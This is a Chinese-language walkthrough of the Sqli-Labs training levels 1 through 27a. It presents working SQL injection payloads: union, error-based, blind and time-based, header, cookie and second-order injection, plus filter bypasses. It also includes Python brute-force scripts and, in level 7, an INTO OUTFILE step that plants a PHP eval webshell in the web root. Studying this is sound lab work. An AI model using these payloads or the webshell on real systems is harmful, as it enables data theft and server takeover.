Sqli-Labs通关笔记

前言

利用Sqli-labs帮助理解sql注入的相关知识~

正文

less-1

是一个简答的字符型注入,GET传参id=1‘,发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

既然报错了就很简单了,直接注释掉后面的引号:

1
?id=1%27--+

回显正常,说明确实是字符型注入,接下来就是用order by查询当前表有几个字段;

1
?id=1%27 order by 3--+

到3列为止没有任何问题,到4为止就报错:

Unknown column ‘4’ in ‘order clause’

说明只有3列,那就可以直接用union select进行查询了,这里需要将union select前面的查询语句置空,这样的话,查询的结果就都是union select之后的查询内容了:

1
?id=-1' union select 1,2,3--+

这里的回显结果为2和3,这样的话我们可以直接利用这两个位置进行回显自己想要的数据,得到数据库名和数据库用户名:

1
?id=-1' union select 1,database(),user()--+

Your Login name:security
Your Password:root@localhost

接下来就是使用系统数据库的一些表单进行更深入的查询了,一般的顺序就是:爆库->爆表->爆列->爆数据;其实到上述为止已经爆库了;

接下来是用系统数据库进行查询的一系列步骤:

  1. 爆库名(此处爆的是mysql中所有的数据库,而database()只能做到查询到当前库的名字)

    1
    ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    Your Login name:information_schema,challenges,mysql,performance_schema,security
    Your Password:3

  2. 爆表名(information_schema数据库里的tables表里的table_name和table_schema列)

    1
    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    Your Login name:emails,referers,uagents,users
    Your Password:3

  3. 爆列名(information_schema数据库里的columns表里的column列)

    1
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    Your Login name:id,username,password
    Your Password:3

  4. 爆数值(知道了所有的信息:库名,表名,列名,列出合格的查询语句即可)

    1
    ?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

    name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
    Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

less-2

尝试?id=1‘?id=1'--+发现全都报错,猜测是数字型注入;

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

发现确实是数字型注入,然后重复less-1的操作即可;

payload:

1
?id=1 union select 1,2,3--+

less-3

尝试?id=1'?id=1'--+都报错

You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘’1’’) LIMIT 0,1’ at line 1

尝试?id=1')--+成功回显,查看源代码:

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

果然是需要闭合一个引号和括号,接下来就是和less-1一样的操作;

payload:

1
?id=') union select 1,2,3--+

less-4

查看源代码,在$id左右加上双引号和括号:

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload:

1
?id=-1") union select 1,2,3--+

小结1

这部分的注入非常基础和简单,只要熟悉mysql中的information_schema数据库,善于利用order by去查询列数,然后直接用information_schema数据库里的数据表去结合union select查询就好;

less-5(盲注-单引号)

从这里开始就需要使用到sql盲注的知识了,先介绍几个需要用到的常用的函数:

left(a,b) //从左开始截取a的前b位

ascii() //将单个字符转换为ASCII码

substr(str,pos,len) //将str字符串截断,从pos位开始取len个字符(开始为1)

length() //返回字符串的长度

sleep(n) //将程序挂起一段时间,n为n秒

if(a,b,c) //如果a=true,则执行b,否则执行c

这里输入?id=1'发现报错,直接注释掉后面的语句?id=1'--+,回显You are in...........;由此得到此题为盲注的类型,直接查询肯定是看不到的,但是可以判断输入的查询语句的结果是否为真,这样的话就可以使用盲注的思路来解决此题:

solution1(构造逻辑判断)

先测试数据库的名字(此处省去二分查找的过程):

1
?id=1' and ascii(substr(database(),1,1))=115--+

回显:You are in...........所以数据库的名字的第一个字母为s,接下来再次测试:

1
?id=1' and ascii(substr(database(),2,1))=101--+

得到数据库名字的第二个字母为e,所以接下来就按照这种方法去测试下面的几个字母就可以很容易的得到数据库的名字,这里就不一一去尝试了,贴上爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
import requests
url="http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),{len},1))={ascii}--+"
database_name=''
for i in range(10):
for j in range(97,123):
url_now=url.format(len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'You are in...........' in r.text:
database_name+=chr(j)
print database_name

得到库名:security,用此方法即可推出表名和列名,只是暴力破解需要时间,慢慢爆破是肯定可以的,给出payload:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
import requests
url="http://127.0.0.1/sqli-labs/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),{len},1))={ascii} --+"
table_name=''
for i in range(1,8):
for j in range(97,123):
url_now=url.format(len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'You are in...........' in r.text:
table_name+=chr(j)
print table_name

爆破出表名:

kxfRDU.png

总的来说,这个方法的主要思路就是:在构造数据库查询语句结果为true和false的时候回显页面不一样,这样的话就可以通过构造逻辑判断的方法来一个个猜测字段的名称,从而达到获取敏感信息的目的;

solution2(concat函数报错注入)

基于concat报错的注入时,利用的是MySQL的一个bug,rand()值不固定,需要多试几次(固定格式,换掉检索内容即可,报错内容和原因有待研究…)

爆库payload1:

1
id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a%20from%20information_schema.tables%20group%20by%20a--+

得到本数据库名称:

Duplicate entry ‘::security::1’ for key ‘group_key’

爆表payload2:

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a--+

得到关键数据表名称:

Duplicate entry ‘::users::0’ for key ‘group_key’

爆列payload3:

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a--+

得到关键列名:

Duplicate entry ‘::username::0’ for key ‘group_key’

Duplicate entry ‘::password::0’ for key ‘group_key’

爆数据payload4:

1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select username from users limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a--+
1
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select password from users limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a--+

只能通过控制limit的数值查看不同的行数,不可以用group_concat,得到结果:

Duplicate entry ‘::Angelina::1’ for key ‘group_key’

Duplicate entry ‘::I-kill-you::0’ for key ‘group_key’

solution3(xpath函数报错注入)

updatexml

爆库:

1
?id=1' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1)--+

爆表:

1
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+

爆列:

1
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns  where table_name='users' limit 0,1),0x7e),1)--+

爆值:

1
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1)--+
1
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1)--+

得到关键信息:

XPATH syntax error: ‘~Dummy~’

XPATH syntax error: ‘~p@ssword~’

调整limit参数即可查询不同的行信息;

extractvalue

和updatexml一样,继续注入即可,不再赘述……

payload:

1
?id=1' and extractvalue(1,concat(0x7e,(payload),0x7e))--+

solution4(bigint溢出报错注入)

1
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

暂未成功,待更……

soultion5(double类型溢出报错)

1
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

暂未成功,待更……

solution6(利用数据的重复性报错)

1
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

暂未成功,只能注出mysql版本,待更……

solution7(延时注入)

如果第一个判断为true,则立即返回,若为flase,则会有5秒的延时,后面基本就和solution1一致,不再赘述;给出payload:

1
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

less-6(盲注-双引号)

除了是双引号闭合,其他和less-5一样,不再赘述……

less-7(文件导入导出)

尝试id=1'报错,id=1'--+依然报错,id=1"不报错,那方向还是在单引号上,查看源代码:

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

发现可以构造id=1'))进行闭合,这里有一个小技巧,就是如何判断是否需要闭合括号,尝试id=1' and 1=1--+,注释以后任然报错,说明是有括号的,逐个加括号测试即可;

然后就是进行数据库导出文件,尝试:

1
?id=1')) union select * from users into outfile "D:\\1.txt"--+

发现mysql报错,指定路径下也没有该文件,可能原因如下:

First

猜想:可能是权限不够,需要root权限才可以对数据库进行读写,用以下语句测试权限:

1
?id=1')) and (select count(*) from mysql.user)>0--+

回显正常,说明不是权限不够的问题;

Second

猜想:可能是需要在指定的目录下进行数据的导出操作,secure_file_priv这个参数用来限制数据导入和导出操作的效果,先查看一下

1
show variables like '%secure%';

kzznaj.png

结果为NULL,

1.如果这个参数为空,这个变量没有效果;
2.如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
3.如果这个参数为null,Mysql服务会禁止导入和导出操作;

在MYSQL配置文件my.ini添加secure_file_priv=,再次查看得到结果不为NULL,因为没有设置指定的目录,所以任意目录都可以进行导入和导出;

解决方法

1.写入木马

直接使用outfile的写文件功能向指定文件夹上传木马,连接菜刀即可;

payload:

1
?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\1.php' --+

2. 导出文件

直接将users表单内容导出

1
?id=-1')) union select * from users into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\sqli-labs-master\\Less-7\\2.txt"--+

less-8(bool盲注)

其实和第5关相比就是注释掉了print_r(mysql_error()),是个bool盲注,只是不可以使用报错注入而已;

AiG7o6.png

所以直接构造逻辑判断盲注即可:

payload:

1
?id=1%27%20and%20ascii(substr(database(),1,1))=115--+

less-9(时间盲注-单引号)

这一关和前面的第8关的区别就是没有回显,是一个时间盲注,直接闭合引号后时间盲注即可;

payload:

1.爆库

1
?id=1' and if(ascii(substr((database()),1,1))=115,1,sleep(5))--+

2.爆表

1
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=105,1,sleep(5))--+

3.爆列

1
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

4.爆数据

1
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,1,sleep(5))--+

其实就是一个暴力破解的过程(二分法提高效率)

less-10(时间盲注-双引号)

测试单引号?id=1' and sleep(5)--+没有延时,说明不是单引号,试一下双引号即可;

payload:

1
?id=1" and sleep(5)--+

接下来除了双引号,和less-9一样;

less-11(Post注入)

无从下手就查看一下源码:

1
2
3
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

这里的uname和passwd都是通过post请求传入的,这里我们需要使用到bp截包修改传递参数的内容;首先闭合引号后,构造永真语句查询:

1
uname=1&passwd=1' or 1=1--+

Your Login name:Dumb
Your Password:Dumb

成功回显,所以直接就可以查询列数:

1
uname=1&passwd=1' order by 2--+

发现是有两列的,然后继续构造union select查询:

1
uname=1&passwd=1' union select 1,2--+

AFR0JO.png

发现可以查询到1,2列的东西,那就可以利用这两个位置来回显想要的东西了;构造如下语句:

1.爆库

1
uname=1&passwd=1' union select database(),version()--+

AFRRTP.png

2.爆表

1
uname=1&passwd=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

AFWl7t.png

3.爆列

1
uname=1&passwd=1' union select database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

AFWUXj.png

4.爆数据

1
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+

AFWgc4.png

其实无非就是传参方式变了而已,友情提示:新版hackbar是坑,谨慎使用;

less-12

其实和上一题类似,只是闭合方式变了而已,需要用到双引号加小括号闭合,payload如下

1
uname=1&passwd=1") or 1=1--+

less-13

尝试单引号失败,双引号失败,发现应该没有那么简单,直接查看源码发现如下内容:

1.闭合方式是')

1
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

2.不会返回SQL查询语句的内容

AFfqiV.png

3.发现针对查询结果对错的返回页面的图片不一样

正确:

1
echo '<img src="../images/flag.jpg"   />';

错误:

1
echo '<img src="../images/slap.jpg"   />';

这里演示2种方法:

solution1(concat报错)

1.爆库

1
uname=1&passwd=1') union%20select%20count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a%20from%20information_schema.tables%20group%20by%20a--+

2.爆表

1
uname=1&passwd=1') union%20select%20count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))a%20from%20information_schema.tables%20group%20by%20a--+

3.爆列

1
uname=1&passwd=1') union%20select%20count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand()*2))a%20from%20information_schema.tables%20group%20by%20a--+

4.爆数据

1
uname=1&passwd=1') union%20select%20count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,0x3a,floor(rand()*2))a%20from%20information_schema.tables%20group%20by%20a--+

solution2(逻辑判断)

思路:首先我们post一个错误的uname和passwd过去,然后构造or语句后面跟上查询语句,这样的话第一句话为flase,如果第二个查询也为flase,则会回显错误图片slap.jpg,否则回显正确图片flag.jpg

payload:

1
uname=1&passwd=1') or ascii(substr(database(),1,1))=115--+
1
uname=1&passwd=1') or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

less-14

除了闭合方式为双引号,其他和less-13一样,不再赘述;

payload:

1
uname=1&passwd=1" or 1=1--+

less-15

闭合方式为单引号,其他和less-13一样,不再赘述;

payload:

1
uname=1&passwd=1' or 1=1--+

less-16

闭合方式为双引号加括号:"),其余和less-13一致;

payload:

1
uname=1&passwd=1") or 1=1--+

less-17

这是在用uname查询之前经过的check_input()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

1. 若uname非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\
3. 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

这只说明一个问题,注入点不在uname,在passwd,查看源码:

1
2
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

直接报错注入即可

爆库:

1
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1)--+

爆表:

1
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

爆列:

1
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

爆数据出现问题:

You can’t specify target table ‘users’ for update in FROM clause

应该是不能对同一个表同时进行update和select

1
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

所以需要构造子查询去得到数据:

1
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select username from (select username from users) as a limit 1,1),0x7e),1)--+

注到这里,回去学习一下username的过滤函数:

1.get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。当magic_quotes_gpc打开时,所有的'(单引号)"(双引号)\(反斜杠)NULL(空字符)会自动转为含有反斜杠的溢出字符;

2.stripslashes(string)函数删除由addslashes()函数添加的反斜杠;

3.ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE;

4.mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

1
2
3
4
5
6
7
8
>\x00
>\n
>\r
>\
>'
>"
>\x1a
>

less-18

进来就显示IP,猜测是http头注入,查看源码:

1
2
3
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

发现对uname和passwd都做了过滤,不存在注入点,继续向上面看:

1
2
3
4
5
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];//是服务端根据请求TCP包的ip指定的
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";

所以此时想到修改XFF头看看回显,然而并没有什么luan用,看到上面的UA头,查看到源码:

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

先成功登陆一下!!!!!!!输入1'发现UA确实是存在注入点

EEBx0g.png

存在注入点,使用updatexml注入:

payload:

1
1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

EE0PEj.png

less-19

先登陆:

EEDnAJ.png

应该和上一题类似,只不过改成了referer头而已,测试1'报错:

EEDL59.png

这就很简单了,直接报错注入:

payload:

1
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

EErF5d.png

less-20

登陆:

EErnr8.png

发现提示为Cookie,想到Cookie注入,测试uname=1'报错:

EErdZF.png

尝试报错注入:

EErrGR.png

EErbsf.png

payload:

1
uname=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
1
uname=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

less-21

登入:

EEspzq.png

发现一串base64编码,解一下发现为Dumb为用户名,说明可能是让我们base64编码以后再传入数据:

尝试1'报错,再尝试:

1
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

继续报错,base64一下再发包:报错注入成功

EEscfs.png

payload:

1
uname=MScgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgYW5kICcxJz0nMQ==

less-22

和上一关没有什么区别,就是换了双引号而已,

payload:

1
uname=MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgYW5kICIxIj0iMQ==

EEyVnf.png

less-23(报错注入+过滤注释)

拿到手先试一下单引号,报错,以为很简单,但是想到已经是进阶版的注入,在尝试了注释掉后面内容以后发现一直在报错,果然没那么简单……在尝试完所有的注释符号后我发现……可能是过滤掉了注释符号……

尝试

1
?id=1' and '1'='1

成功闭合,所以下面就是常规操作…

payload:

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

查看源码:

过滤函数:

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

有print出来error,所以允许报错注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($row)
{
echo '<font color= "#0000ff">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

less-24(二次注入)

上来是个登录界面,有注册和修改密码功能,先注册一个新账号,登录后发现YOU ARE LOGGED IN字样,第一次登陆还需要修改密码;此题的目的应该是冒充admin用户登录。

三个核心功能:登录,注册,修改密码,一个个看;

Vu0n3t.png

退出登录寻找注入点,这里的目的应该是要用admin用户的身份登录;在登录界面随手尝试;尝试万能密码 admin' or '1'='1发现不可以,那应该就是过滤了其中的一些字符集,注入点应该不在这个页面;最后发现是一个二次注入的题目;

为什么在主页不能实现直接注入?

login.php中对输入的参数进行了特殊字符转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}

mysql_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符,所以此时是不可以直接在登录页上进行注入的;那就要寻找其他注入点,

为什么注册页面不可以直接注入?

可利用部分没有查询语句,只有插入语句……

为什么注册功能可以成功写入特殊字符?

本题还有两个链接,一个是忘记密码(没什么luan用,还有一张极为不爽的图),还有一个就是注册用户,拿出注册的源码来看:

1
2
3
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

这里对输入的账户和密码进行了特殊字符转义处理,即在特殊字符前面加上\,但是在加上转义符号以后,写入数据库时,写入进去的数据是没有\的,如下所示:

插入时'是带了转义符号的,但是插入以后查询却显示没有转义符号,所以这就给二次注入留下了机会;

什么是二次注入?

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

1.这里我们创建新账户admin'#,虽然在写入时#会被转义,但是写入数据库里的还是原来的符号,并没有添加转义符号,所以这里可以成功写入用户名admin'#

2.我们拿admin'#用户登录,看到回显的是修改密码的页面,

审计修改密码的源码,发现:

1
2
3
4
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

username没有做任何过滤和转义,这里的session里的用户名就是当前维持会话的用户admin#

3.寻找注入点:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里输入的usernameadmin#会直接将后面的内容注释掉,所以形成的最后的语句就是:

UPDATE users SET PASSWORD='$pass' where username='admin'#'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

此时就会将真的admin用户的密码修改为这里的$pass,这样的话就可以直接拿修改密码后的admin用户来登录,拿到admin的账户了;

less-25(and/or过滤,字符型)

初步测试发现是单引号字符型注入,继续测试,从hint发现andor都被过滤了,尝试双写,绕过成功…也可以使用||和&&绕过

具体的绕过方法:

1
2
3
4
5
6
1.&& ||
2.大小写变形Or,OR,oR
3.编码,例如hex,urlencode
4.添加注释/*or*/
5.利用符号and=&& or=||
6.双写绕过

接下来就是常规操作

payload:

1
?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+

也可报错注入

1
?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1)--+

查看源码危险的过滤函数:

1
2
3
4
5
6
7
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

less-25a(and/or过滤,数字型,blind)

初步测试发现为数字型注入,过滤掉了andor,双写绕过……

payload:

1
?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users

less-26(空格/注释过滤,字符型)

fuzz半天没出来,直接查看源码:

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

过滤掉了…

1
or and /* -- # 空格  \ /

过滤掉注释符号只有一种办法解决,那就是构造如下语句闭合句末的引号

1
and '1'='1

过滤掉空格是一件非常头疼的事情,下面重点探讨一下空格的绕过方法:

1
2
3
4
5
6
7
8
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
%20 urlencode
/**/ 注释

这里使用%a0来绕过

报错注入:

1
?id=1%27%a0%26%26%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0||%271%27=%271

less-26a(空格/注释过滤,字符型,blind)

这题对比26的区别就是不能报错注入,那就直接盲注吧,直接上盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url="http://127.0.0.1/sqli-labs/Less-26a/"
payload="?id=1')%a0aandnd%a0ascii(substr(database(),{len},1))={ascii}%a0%26%26%a0('1'='1"
database_name=''

for i in range(10):
for j in range(97,123):
url_now=url+payload.format(len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'Your Login name:Dumb' in r.text:
database_name+=chr(j)
print(database_name)

less-27(select/union绕过,字符型)

黑名单继续添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这一次直接将联合查询过滤了,查询也不能用,union select都过滤了,而且select还过滤了两次,直接双写绕过或者大小写混写即可

payload:

1
?id=0%27%a0uniounionn%a0selecselecselecttt%a02,(selecselecselecttt%a0group_concat(username)%a0from%a0users),4%a0||%a0%271%27=%271

或者直接报错注入:

1
?id=1%27and%a0updatexml(1,concat(0x7e,database(),0x7e),1)%a0and%271%27=%271

less-27a(select/union绕过,字符型)

区别就是双引号

payload:

1
?id=0%22%a0uniunionon%a0selecselecselecttt%a02,(selecselecselecttt%a0group_concat(password)from%a0users),4||%221%22=%221

很久没写盲注脚本了,给出一个exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import re
import requests

url="http://127.0.0.1/sqli-labs/Less-27a/"
ans={}

def show_database():
database_name=""
payload1='?id=1"%a0and%a0ascii(substr(database(),{len},1))="{ascii}'
for i in range(10):
for j in range(97,123):
url_now=url+payload1.format(len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'Your Login name:Dumb' in r.text:
database_name+=chr(j)
# print(database_name)
ans.update(databasename=database_name)
# return database_name

def show_tables():
table=[]
payload2='?id=1"%a0and%a0ascii(substr((seleCt%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0limit%a0{num},1),{len},1))="{ascii}'
for k in range(5):
table_name=""
for i in range(1,10):
for j in range(97,123):
url_now=url+payload2.format(num=k,len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'Your Login name:Dumb' in r.text:
table_name+=chr(j)
if table_name!='':
# print(table_name)
table.append(table_name)
ans.update(tablenames=table)

def show_columns(tablename):
column=[]
payload3='?id=1"%a0and%a0ascii(substr((seleCt%a0column_name%a0from%a0information_schema.columns%a0where%a0table_name='+tablename+'%a0limit%a0{num},1),{len},1))="{ascii}'
for k in range(4):
column_name=""
for i in range(10):
for j in range(97,123):
url_now=url+payload3.format(num=k,len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'Your Login name:Dumb' in r.text:
column_name+=chr(j)
if column_name!='':
# print(column_name)
column.append(column_name)
ans.update(columnnames=column)

def show_data(choice):
data1=[]
payload4='?id=1"%a0and%a0ascii(substr((seleCt%a0'+choice+'%a0from%a0users%a0limit%a0{num},1),{len},1))="{ascii}'
for k in range(15):
user_name=""
for i in range(10):
for j in range(48,123):
url_now=url+payload4.format(num=k,len=i,ascii=j)
r=requests.get(url_now)
r.encoding=r.apparent_encoding
if 'Your Login name:Dumb' in r.text:
user_name+=chr(j)
if user_name!='':
# print(user_name)
data1.append(user_name)
ans.update(data=data1)

def main():
print('[+]Let us start SQL Injection and have fun')
print('[+]loading database name......')
show_database()
print('[+]Database name:'+ans['databasename'])

print('\n[+]loading table name......')
show_tables()
print('[+]Table names:')
for i in ans['tablenames']:
print('[*]'+i)

table_temp=input('\n[+]Please choose one of the tables:')
t_name='"'+table_temp+'"'
print('[+]loading column name......')
show_columns(t_name)
for i in ans['columnnames']:
print('[*]'+i)

